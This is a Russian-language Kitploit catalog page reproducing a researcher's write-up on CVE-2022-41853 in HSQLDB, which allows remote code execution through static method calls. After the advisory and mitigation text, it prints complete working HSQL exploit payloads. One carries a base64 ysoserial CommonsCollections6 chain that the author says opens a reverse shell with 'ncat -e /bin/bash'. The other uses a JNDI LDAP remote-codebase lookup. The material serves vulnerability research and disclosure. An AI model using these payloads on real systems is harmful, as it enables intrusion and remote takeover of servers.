Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-41853 — Исследование CVE-2022-41853: использование статических функций для получения RCE через Java Deserialization и Remote Codebase Attack | Kitploit
Инструменты/GitHubGitHub/mbadanoiu/cve-2022-41853
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийРазработка Полезной Нагрузки
GitHubmbadanoiu/cve-2022-41853

CVE-2022-41853

Исследование CVE-2022-41853: использование статических функций для получения RCE через Java Deserialization и Remote Codebase Attack

Репозиторий
2112 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Исследование CVE-2022-41853: использование статических функций для получения RCE через Java-десериализацию и атаку на удалённую кодовую базу

Пользователи, использующие java.sql.Statement или java.sql.PreparedStatement в hsqldb (HyperSQL DataBase) для обработки недоверенных входных данных, могут быть уязвимы к атаке удалённого выполнения кода. По умолчанию разрешено вызывать любой статический метод любого Java-класса в classpath, что приводит к выполнению кода. Проблему можно предотвратить, обновившись до версии 2.7.1 или задав системное свойство "hsqldb.method_class_names" со списком классов, которым разрешён вызов. Например, можно использовать System.setProperty("hsqldb.method_class_names", "abc") или Java-аргумент -Dhsqldb.method_class_names="abc". Начиная с версии 2.7.1 все классы по умолчанию недоступны, кроме классов в java.lang.Math, и их необходимо включать вручную.

Раскрытие:

Первоначальное раскрытие этой уязвимости можно найти здесь.

Первоначальный исследователь

OSS-Fuzz team
https://github.com/google/oss-fuzz

Подтверждение концепции:

В 2021 году я читал статью в блоге о том, как атака с нормализацией пути + HSQL-запросы "CALL" могут быть использованы для вызова произвольных статических методов Java с целью получения RCE.

«Remote Code Execution in F5 Big‑IP» Михаила Ключникова

Поскольку в то время я занимался репортами и исследованием уязвимостей в Apache SOLR, я вспомнил, что в их примере JDBC Stream используется HSQL, и приступил к настройке тестового окружения.

Screenshot 2023-11-24 at 12 51 49

Примечание: К сожалению, эта уязвимость не затрагивает стандартные серверы Apache Solr, поскольку JAR-файл HSQL должен быть специально помещён в папку “./server/solr-webapp/webapp/WEB-INF/lib/”, чтобы драйвер был доступен компоненту Stream JDBC.

RCE через Java-десериализацию

Поскольку RCE в F5 использует функцию "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext", расположенную в "tmui.jar" (JAR-файл, специфичный для приложений F5), и я хотел создать payload, не зависящий от приложения, я начал искать, как можно скомбинировать часто используемые JAR-файлы (например, Apache Commons Collections, Apache Log4J) для вызова статических функций и получения RCE.

Поскольку gadgets CommonsCollections* из ysoserial первыми пришли мне на ум, я пошёл по пути Java-десериализации со следующими результатами:

  • Вызовите java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true'), чтобы включить небезопасную десериализацию (Зачем обходить защиту, если можно полностью убрать предохранитель :)) )
  • Используйте public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) в качестве приёмника (sink) для наших входных данных, чтобы они достигли функции ObjectInputStream(x).readObject().
  • Используйте функции public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded) или public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s), чтобы преобразовать закодированную строку payload ysoserial в массив байтов, который будет передан в deserialize(byte[] objectData).

Полный HSQL payload имеет следующий вид:

root@kitploit:~
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))

Примечание: В данном случае payload ysoserial относится к типу CommonsCollection6 и выполнит команду reverse shell ncat -e /bin/bash 127.1 4444.

Примечание 2: Автономный HSQLDB.jar не уязвим к этому payload, поскольку он не содержит JAR-файл Apache Commons Collections. Эта уязвимость работает (в большинстве случаев), когда HSQL включён в веб-приложение (например, SOLR, Liferay и т.д.).

Более подробная информация и процесс эксплуатации приведены в этом PDF.

RCE через атаку на удалённую кодовую базу по LDAP или RMI

Изучая эту тему в 2023 году, я наткнулся на эту потрясающую презентацию Exploring JNDI Attacks от iSafeBlue, в которой использовался java.lang.System.setProperty для установки com.sun.jndi.ldap.object.trustURLCodebase или com.sun.jndi.rmi.object.trustURLCodebase в true, после чего выполнялся LDAP/RMI-lookup для успешного проведения атаки Java Remote Codebase.

Пример HSQL payload:

root@kitploit:~
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')

Результат:

Screenshot 2023-11-24 at 13 28 00

Примечание: По неизвестным причинам эта уязвимость работает на стандартном HSQLDB.jar, но не работает в окружении HSQL + Apache SOLR ¯\_(ツ)_/¯.

Скачать инструмент